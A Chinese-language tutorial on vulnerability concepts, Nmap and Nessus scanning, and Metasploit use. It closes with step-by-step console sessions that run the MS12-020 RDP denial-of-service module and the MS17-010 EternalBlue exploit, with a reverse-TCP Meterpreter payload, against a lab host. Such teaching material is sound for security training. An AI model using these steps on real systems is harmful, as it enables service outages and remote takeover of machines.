安全漏洞的检测&利用
- 一、安全漏洞的基本概念
- 1.1、什么是漏洞
- 1.2、漏洞的简单理解
- 1.3、微软的RPC漏洞与蠕虫病毒
- 1.4、微软经典的蓝屏漏洞
- 1.5、Heartbleed(心脏滴血)漏洞
- 1.6、破壳漏洞CVE-2014-6271
- 1.7、漏洞的危害
- 1.8、漏洞的成因
- 1.9、漏洞的信息的组成
- 1.10、漏洞信息管理
- 二、安全漏洞的基本概念
- 2.1、漏洞检测技术
- 2.2、常见的系统漏洞扫描器
- 2.3、系统漏洞扫描的流程
- 2.4、漏洞识别原理
- 2.5、利用NMAP扫描漏洞
- 三、Nessus的使用
- 3.1、NESSUS简介
- 3.2、NESSUS的功能介绍
- 3.3、常见漏洞扫描的使用方法
- 3.4、NESSUS的使用
- 3.5、NESSUS的报告解读
- 四、Matesploit介绍与漏洞利用
- 4.1、Metasploit的简介
- 4.2、Metasploit常用的命令
- 4.3、metasploit攻击流程与思路
- 4.4、使用metasploit进行漏洞利用
- 4.4.1、使用metasploit进行ms12-020漏洞利用
- 4.4.2、使用metasploit进行ms17-010漏洞利用
一、安全漏洞的基本概念
1.1、什么是漏洞
- 漏洞(
Vulnerability
)又叫脆弱性,这一概念早在1947年冯·诺依曼建立计算机系统结构理论时就有涉及,他认为计算机的发展和自然生命有相似性,一个计算机系统也有天生的类似基因的缺陷,也可能在使用和发展过程中产生意想不到的问题。- 1970 - 80年代,早期黑客的出现和第一个计算机病毒的产生,软件漏洞逐渐引起人们的关注。
- 随着计算机应用的发展和互联网络的出现,漏洞相继在软件、硬件、管理过程,甚至人的环节出现,引起病毒泛滥、黑客猖獗,使得安全漏洞成为网络空间的一个现实、热门话题。
1.2、漏洞的简单理解
1.3、微软的RPC漏洞与蠕虫病毒
1.4、微软经典的蓝屏漏洞
- MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞。
- 远程桌面协议(RDP,Remote Desktop Protocol)一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。Windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化的或已经删除的对象,导致任意代码执行,然后控制系统。
- 实际使用过程中通常用于造成蓝屏攻击。
1.5、Heartbleed(心脏滴血)漏洞
- 2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160)。OpenSSL的Heartbleed模块存在一个漏洞,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。
- SSL(安全套接层)协议是使用最为普遍网站加密技术,而OpenSSL则是开源的SSL套件,为全球三分之二的web服务器所使用。Web服务器正是通过它来将密钥发送给访客然后在双方的连接之间对信总进行加密。
- 2014年4月9日,Heartbleed(意为“心脏出血”)的重大安全漏洞被曝光,一位安全行业人士在知乎上透露,他在某著名电商网站上用这个漏洞尝试读取数据,在读取200次后,获得了40多个用户名、7个密码,用这些密码,他成功地登录了该网站。
1.6、破壳漏洞CVE-2014-6271
- bash漏洞是控制Linux计算机命令提示符的软件中存在的漏洞。
- bash是一个为GNU计划编写的Unix shell。它的名字是一系列缩写:Bourne-Again SHell,Bourne shell是一个早期的重要shell,由史蒂夫·伯恩在1978年前后编写,并同Version7 Unix一 起发布。
- 2014年9月25日,外媒曝出一个广泛存在于主流操作系统的漏洞bash,该漏洞会影响到Redhat、CentOS、Ubuntu、Debian、Fedora、AmazonLinux、OSX10.10等平台。
- 在实际的利用中,破壳漏洞常用于权限提升。
1.7、漏洞的危害
- 远程控制
- 信息泄露
- 拒绝服务
- 权限提升
1.8、漏洞的成因
- 实现漏洞
- 实现漏洞是安全漏洞中最大的一类,大多数我们接触到的安全漏洞都属于这一类。
- 实现类漏洞是由于在程序编码时不够严谨或对于安全性的考虑不周而产生的漏洞,缓冲区溢出类漏洞是最典型的实现漏洞。
- 设计漏洞
- 设计漏洞主要是指软件、硬件和固件在设计时对于安全性考虑不周导致的漏洞。
- 例如F5 BIG-ip远程绕过验证漏洞是由于F5设备的SSH登录模块内置了一个可用于登录的秘钥文件,这个秘钥被泄露后任意获取该秘钥的用户都可以登录任意一台相关版本的设备。
- 配置漏洞
- 配置漏洞是由于软件的默认配置或者不恰当的配置导致的安全漏洞。
- 例如弱口令或默认口令就是一种常见的配置漏洞。在Windows NT系统中,默认情况下会允许远程用户建立空会话,枚举系统里的各项Net BIOS信息。这里空会话指可以用空的用户名和空的口令通过Net BIOS协议登录到远程的Windows系统中。
1.9、漏洞的信息的组成
-
漏洞的主要组成部分:
- 漏洞名称
- 发布日期
- 漏洞编号
- 风险等级
- 影响范围
- 漏洞描述
- 解决方案
-
漏洞风险等级评估:
CVSS(基础分值)
- CVSS分值:10 [严重(HIGH)]
- 机密性影响:COMPLETE [完全的信息泄露导致所有系统文件暴露]
- 完整性影响:COMPLETE [系统完整性可被完全破坏]
- 可用性影响:COMPLETE [可能导致系统完全宕机]
- 攻击复杂度:LOW [漏洞利用没有访问限制]
- 攻击向量:NETWORK [攻击者不需要获取内网访问权或本地访问权]
- 身份认证:NONE [漏洞利用无需身份认证]
1.10、漏洞信息管理
- CVE(Common Vulnerabilities & Exposures,通用漏洞披露)
- 美国国家漏洞数据库(NVD)
- http://cve.mitre.org CVE官网
- http://www.cnnvd.org.cn/index.html 国家信息安全漏洞库
- http:/www.nsfocus.net/ 绿盟科技
- http://www.scap.org.cn/ SCAP 安全内容自动化协议中文社区
二、安全漏洞的基本概念
2.1、漏洞检测技术
1、目标:研究专门的技术手段和方法,建立多角度的漏洞检测能力
- 经验向理论转化
- 形成自动化、规模化能力
2、 方法:
- 静态分析(分析代码)
- 动态分析(漏洞扫描,又可分为本地扫描和远程扫描)
2.2、常见的系统漏洞扫描器
系统漏洞扫描器是相对于WEB应用漏洞扫描器而言扫描器,主要是针对操作系统和各类通用性较强的软件应用进行漏洞检测的工具。
- 软件类:
- NESSUS
- OpenVAS
- namp
- 硬件类:
- 绿盟远程安全评估系统
- 启明天镜脆弱性扫描与管理系统
- 杭州迪普漏洞扫描系统
- 榕基风险管理系统
- 网御漏洞扫描系统
2.3、系统漏洞扫描的流程
系统漏洞扫描基本流程:
2.4、漏洞识别原理
漏洞识别的主要方法可以分为原理扫描和推断扫描两类,在实际实现的过程中扫描器开发者会根据漏洞的特点不同选择不同的漏洞识别技术来进行漏洞识别。
2.5、利用NMAP扫描漏洞
- 常见的NMAP脚本扫描:
- 命令格式:
nmap --script=<类别参数>
- 脚本扫描参数:
broadcast
在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务brute
提供暴力破解方式,针对常见的应用如http/snmp等default
使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力discovery
获取网络更多的信息,如SMB枚举、SNMP查询等exploit
利用已知的漏洞入侵系统fuzzer
模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞intrusive
入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽malware
探测目标机是否感染了病毒、开启了后门等信息safe
此类与intrusive相反,属于安全性脚本version
负责增强服务与版本扫描(VersionDetection)功能的脚本vuln
负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
- 命令格式:
- 使用
nmap --script=vuln 10.10.10.135
扫描10.10.10.135中常是否有常见的漏洞- 最后发现有ms08-067等高危漏洞
- 最后发现有ms08-067等高危漏洞
三、Nessus的使用
3.1、NESSUS简介
Nessus是目前全世界最多人使用的系统漏洞扫描与分析软件,具有能够提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。可同时在本机或远端上摇控,进行系统的漏洞分析扫描,运作效能能随着系统的资源而自行调整。可自行定义插件(Plug-in)等特性。
3.2、NESSUS的功能介绍
-
打开浏览器输入
https://localhost:8834
进入登录页面输入帐号密码登录NESSUS
; -
在首页选择
newscans
新建一个扫描任务,新建任务时需要对扫描进行选择或配置,带有upgrade标签的是需要升级成企业版或者专业办才能使用。
-
在
scanLibrary
中选择BasicNetworkScan
,进行配置,通常情况下只对General(一般选项)、Discovery(主机发现)、Assessment(风险评估)、及Advanced(高级选项)进行配置。 -
General(一般选项)
-
Discovery(主机发现)
-
Assessment(风险评估)
-
及Advanced(高级选项)
3.3、常见漏洞扫描的使用方法
3.4、NESSUS的使用
使用NESSUS进行扫描的具体步骤:
1、在NewScan -> BasicNetworkScan下设置项目名称与描述,设置归属栏目为My scans,输入目标主机地址或网段。
2、可在首页查看扫描记录,点击对应的扫描任务可查看任务可查看任务的详细信息。
3、选择扫描任务进入后可查看扫描信息。
4、点击要查看的漏洞,可获取该漏洞的介绍、漏洞对应的解决方案、生成原因、涉及到的端口和主机信息。
3.5、NESSUS的报告解读
- 漏洞风险等级
- 漏洞描述
- 漏洞涉及服务端口
四、Matesploit介绍与漏洞利用
4.1、Metasploit的简介
Metasploit就是一个漏洞利用框架。全称叫做TheMetasploitFramework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。
4.2、Metasploit常用的命令
Metasploit的常用命令:
show exploits
显示可用的渗透攻击模块。search
用来搜寻一些渗透攻击模块,可以进行模糊匹配。use
使用某个渗透攻击模块,可以通过use
命令来使用show
或search
出来的渗透模块。show options
显示参数当选择渗透模块后,使用show options
会显示该模块所需设置的参数。set
命令是用来设置某些选项的,比如使用set
命令设置,攻击模块的options
参数;设置攻击载荷payloads
时,也是用set
命令。exploit
命令,设置完所有参数时,使用exploit
命令,开始进行攻击。
4.3、metasploit攻击流程与思路
使用Metasploit的具体思路:
- 搜索攻击模块;使用命令:
search+漏洞信息或编号
- 使用某个模块;使用命令:
use
- 查看配置选项;使用命令:
show options
- 设置选项值;使用命令:
set
- 开始攻击;使用命令:
run/exploit
4.4、使用metasploit进行漏洞利用
4.4.1、使用metasploit进行ms12-020漏洞利用
1、在kali里面打开metasploit漏洞利用框架。
2、搜索ms12-020漏洞利用模块。
msf6 > search ms12-020
3、使用检测模块检测目标主机是否存在ms12-020漏洞。
msf6 > use auxiliary/scanner/rdp/ms12_020_check
msf6 auxiliary(scanner/rdp/ms12_020_check) > show options #查看需要配置的选项
msf6 auxiliary(scanner/rdp/ms12_020_check) > set rhosts 192.168.9.131 #目标主机的IP地址
rhosts => 192.168.9.131
msf6 auxiliary(scanner/rdp/ms12_020_check) > show options
msf6 auxiliary(scanner/rdp/ms12_020_check) > run
4、使用攻击模块进行攻击。
msf6 > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > show options
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set rhosts 192.168.9.131
rhosts => 192.168.9.131
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > run
5、成功。
4.4.2、使用metasploit进行ms17-010漏洞利用
1、在kali里面打开metasploit漏洞利用框架。
2、搜索ms17-010漏洞利用模块。
msf6 > search ms17-010
3、使用检测模块检测目标主机是否存在ms17-010漏洞。
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.9.131
rhost => 192.168.9.131
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
4、使用攻击模块进行攻击。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.9.131
rhosts => 192.168.9.131
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.9.148
lhost => 192.168.9.148
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
5、成功。